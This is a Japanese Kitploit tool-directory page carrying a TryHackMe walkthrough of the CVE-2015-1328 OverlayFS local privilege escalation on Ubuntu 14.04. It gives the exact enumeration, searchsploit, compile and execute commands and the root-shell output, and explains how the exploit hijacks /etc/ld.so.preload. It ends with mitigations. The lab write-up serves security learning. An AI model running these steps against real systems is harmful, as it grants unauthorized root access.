Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2015-1328 — CVE-2015-1328(OverlayFS)を悪用して、Ubuntu 14.04 上で低権限ユーザーから root への権限昇格を行うためのステップバイステップの手順解説。列挙、エクスプロイトのコンパイル、実行を含みます。 | Kitploit
ツール/GitHubGitHub/fernandocassiodev/cve-2015-1328
特権昇格エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

CVE-2015-1328(OverlayFS)を悪用して、Ubuntu 14.04 上で低権限ユーザーから root への権限昇格を行うためのステップバイステップの手順解説。列挙、エクスプロイトのコンパイル、実行を含みます。

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2015-1328

TryHackMe ウォークスルー – Linux カーネル権限昇格 (CVE-2015-1328)

目的

このウォークスルーの目標は、脆弱な Linux カーネルを悪用して、低権限ユーザー (karen) から root へ権限を昇格させることでした。


ステップ 1 – 初期列挙

SSH でターゲットマシンに接続後:

root@kitploit:~
ssh karen@<target-ip>

Linux カーネルバージョンを特定しました:

root@kitploit:~
uname -r

出力:

root@kitploit:~
3.13.0-24-generic

マシンは Ubuntu 14.04 で、カーネルは 3.13.0-24-generic でした。


ステップ 2 – カーネルの脆弱性を検索

Linux の権限昇格はしばしば脆弱なカーネルに依存するため、SearchSploit を使って Exploit-DB を検索しました:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

結果:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

このエクスプロイトは CVE-2015-1328 を標的としており、これは修正済みバージョンより前の Ubuntu カーネルに影響します。


ステップ 3 – 脆弱性を理解する

エクスプロイトを実行する前に、それが何を行うのかを理解することが重要です。

このエクスプロイトは、Linux のユニオンファイルシステムである OverlayFS の欠陥を悪用します。

この脆弱性は、OverlayFS がユーザー名前空間 (CLONE_NEWUSER) 内にマウントされたときに、ファイル権限を誤って処理するために存在します。

非特権ユーザーは OverlayFS を操作して、root のみが書き込めるはずのファイルを作成または変更できます。

このエクスプロイトは最終的に次のファイルに書き込みます:

root@kitploit:~
/etc/ld.so.preload

このファイルは、Linux 動的ローダーに対し、すべての動的リンク実行ファイルの前に共有ライブラリをロードするように指示します。

システムに悪意のある共有ライブラリを強制的にロードさせることで、エクスプロイトは root としてのコード実行を獲得します。


ステップ 4 – エクスプロイトを入手する

SearchSploit を使用:

root@kitploit:~
searchsploit -m 37292

これによりエクスプロイトがローカルにコピーされました:

root@kitploit:~
37292.c

その後、エクスプロイトは被害者マシンに転送されました。

このウォークスルーでは、次の名前で保存されました:

root@kitploit:~
/tmp/ofs.c

ステップ 5 – エクスプロイトをコンパイルする

エクスプロイトが含まれるディレクトリに移動します:

root@kitploit:~
cd /tmp

GCC を使用してコンパイルします:

root@kitploit:~
gcc ofs.c -o ofs

コンパイルが成功した場合、GCC は出力を生成しません。

実行可能ファイルが存在することを確認します:

root@kitploit:~
ls -l

期待される出力:

root@kitploit:~
-rwxr-xr-x ... ofs

ステップ 6 – エクスプロイトを実行する

実行可能ファイルを実行します:

root@kitploit:~
./ofs

エクスプロイトは次のようなメッセージを出力します:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

最終的に、root シェルが起動します:

root@kitploit:~
#

権限を確認します:

root@kitploit:~
id

出力:

root@kitploit:~
uid=0(root) gid=0(root)

ステップ 7 – フラグを取得する

root 権限を取得した後:

root@kitploit:~
cat /home/matt/flag1.txt

ファイルを正常に読み取ることができました。


エクスプロイトの仕組み

このエクスプロイトは内部でいくつかのアクションを実行します。

1. ユーザー名前空間を作成する

root@kitploit:~
unshare(CLONE_NEWUSER);

Linux のユーザー名前空間を使用すると、非特権プロセスが、ホスト上では root ではなくても、名前空間の内部では root として見えるようになります。

この機能は攻撃に不可欠です。


2. マウント名前空間を作成する

root@kitploit:~
clone(... CLONE_NEWNS ...)

独立したマウント名前空間は、ファイルシステムへの変更をオペレーティングシステムの他の部分から分離します。

これにより、エクスプロイトはグローバルなファイルシステムに影響を与えずに OverlayFS をマウントできます。


3. OverlayFS をマウントする

エクスプロイトは一時ディレクトリを作成します:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

次に OverlayFS をマウントします:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

カーネルの脆弱性により、OverlayFS は root 権限を必要とする操作を誤って許可します。


4. /etc/ld.so.preload を作成する

エクスプロイトは、OverlayFS マウント内の書き込み可能なファイルを次の名前に変更します:

root@kitploit:~
ld.so.preload

OverlayFS を /etc の上に再マウントすると、このファイルは次のようになります:

root@kitploit:~
/etc/ld.so.preload

通常、このファイルを作成できるのは root だけのはずです。


5. 悪意のある共有ライブラリを作成する

エクスプロイトは C ソースファイルを書き込みます:

root@kitploit:~
/tmp/ofs-lib.c

次にそれをコンパイルします:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

生成された共有ライブラリは getuid() 関数をオーバーライドします。


6. 動的リンカーを乗っ取る

エクスプロイトは次のファイル:

root@kitploit:~
/tmp/ofs-lib.so

を次のファイル:

root@kitploit:~
/etc/ld.so.preload

に書き込みます。

これにより、すべての動的リンク実行ファイルは、あらゆるシステムライブラリよりも先にこの悪意のあるライブラリをロードするようになります。


7. /bin/su を実行する

最後に:

root@kitploit:~
execl("/bin/su", "su", NULL);

su が起動すると、元の getuid() 関数の代わりに悪意のある getuid() 関数が実行されます。

ライブラリは:

  • /etc/ld.so.preload を削除します
  • 悪意のある共有ライブラリを削除します
  • 次の関数を呼び出します:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • 次のシェルを起動します:
root@kitploit:~
/bin/sh

結果として、対話型の root シェルが得られます。


なぜこれが機能するのか

この脆弱性は、ユーザー名前空間内で使用されたときに OverlayFS が誤った権限処理を行うことに起因します。

非特権ユーザーは OverlayFS を操作して、次のような特権ファイルを作成できます:

root@kitploit:~
/etc/ld.so.preload

動的ローダーはこのファイルを信頼するため、任意のコードが root として実行されます。


緩和策

この脆弱性は、Ubuntu の更新されたカーネルリリースで修正されました。

緩和策には以下が含まれます:

  • Linux カーネルを修正済みバージョンに更新する。
  • 不要な場合は非特権ユーザー名前空間を無効にする。
  • OverlayFS の使用を制限する。
  • セキュリティ更新を定期的に適用する。
  • 以下への不正な変更を監視する:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

重要なポイント

  • Linux の権限昇格では、常にカーネルバージョンを列挙すること。
  • 悪用を試みる前に、カーネルバージョンが脆弱かどうかを確認すること。
  • エクスプロイトを実行する前に、エクスプロイトコードを読んで理解すること。
  • カーネルエクスプロイトは直接 root 権限につながる可能性があるが、ターゲットシステムをクラッシュさせる可能性もある。
  • 実際のペネトレーションテストでは、システム安定性への潜在的な影響があるため、カーネルエクスプロイトは明示的に許可された場合にのみ試行すべきである。

使用したコマンド

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
ツールをダウンロード